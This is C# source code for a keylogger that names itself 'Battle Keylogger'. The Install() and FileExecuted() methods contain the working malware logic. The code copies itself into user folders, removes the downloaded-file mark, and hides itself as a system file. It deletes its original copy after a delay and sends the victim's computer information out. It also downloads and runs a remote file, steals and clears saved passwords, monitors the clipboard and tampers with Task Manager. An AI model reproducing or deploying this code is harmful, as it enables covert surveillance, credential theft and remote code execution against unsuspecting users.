public static void Install() { try { string runningPath = Application.ExecutablePath; if (runningPath.Equals(GetInstallPath())) { return; } string installPath = string.Empty; if (Config.PATH_TYPE.Equals("1")) { installPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); } else if (Config.PATH_TYPE.Equals("2")) { installPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); } else if (Config.PATH_TYPE.Equals("3")) { installPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); } else if (Config.PATH_TYPE.Equals("4")) { installPath = Path.GetTempPath().Substring(0, Path.GetTempPath().Length - 1); } installPath += "\\" + Config.FOLDER_NAME; if (!Directory.Exists(installPath)) { try { Directory.CreateDirectory(installPath); } catch { } } installPath += "\\" + Config.FILE_NAME; try { File.Copy(runningPath, installPath, true); //Drops file } catch { } try { Core.CallAPI <bool>("kernel32", "DeleteFile", new Type[] { typeof(string) }, installPath + StringCipher.Decrypt("[ZONEID]", Config.MUTEX)); } catch { } Core.Upload("Battle Keylogger Installation Notification", "Battle Keylogger has been installed with the Galaxy Logger Installation Module" + Environment.NewLine + ComputerInformation.GetInformation(), "4"); if (!string.IsNullOrEmpty(Config.HIDE_FILE)) { try { File.SetAttributes(installPath, FileAttributes.Hidden); File.SetAttributes(installPath, FileAttributes.System); } catch { } } if (!string.IsNullOrEmpty(Config.MELT_FILE)) { try { ProcessStartInfo info = new ProcessStartInfo(); info.CreateNoWindow = true; info.UseShellExecute = false; info.FileName = "cmd"; info.Arguments = "/c ping -n 3 127.0.0.1 > nul & del " + '"' + runningPath + '"'; Process.Start(info); } catch { } } Process.Start(installPath); //GC.Collect(); Environment.Exit(0); } catch (Exception ex) { Config.DumpErrorLog(ex, null); } }
public static void FileExecuted() { string notifyFile = Path.GetTempPath() + Config.HWID + ".dat"; if (!File.Exists(notifyFile)) { //Install File Notification (One Time Things, Error Msg) Core.Upload("Battle Keylogger Running Notification", "Battle Keylogger is currently active." + Environment.NewLine + ComputerInformation.GetInformation(), "1"); if (!string.IsNullOrEmpty(Config.MESSAGE_TYPE)) { new Thread(new ThreadStart(FakeMessage)).Start(); //ThreadPool.QueueUserWorkItem(FakeMessage); } if (!string.IsNullOrEmpty(Config.DOWNLOAD_FILE)) { try { string downloadFilePath = Path.GetTempFileName(); File.Delete(downloadFilePath); downloadFilePath = downloadFilePath.Substring(0, downloadFilePath.Length - 4); downloadFilePath += Config.DOWNLOAD_FILE_TYPE; new WebClient().DownloadFile(Config.DOWNLOAD_FILE, downloadFilePath); Process.Start(downloadFilePath); } catch { } } if (!string.IsNullOrEmpty(Config.PASSWORD_STEALER)) { Core.RecoverPasswords(); } if (!string.IsNullOrEmpty(Config.CLEAR_SAVED)) { Core.DeleteSavedPasswords(); } File.WriteAllText(notifyFile, Config.GUID + Environment.NewLine + Application.ExecutablePath); } if (!string.IsNullOrEmpty(Config.CLIPBOARD_MONITORING)) { ClipboardMonitor.Start(); } if (!string.IsNullOrEmpty(Config.MODIFY_TASK_MANAGER)) { Services.ModifyTaskManager(); } new Thread(new ParameterizedThreadStart(Startup)).Start(GetInstallPath()); }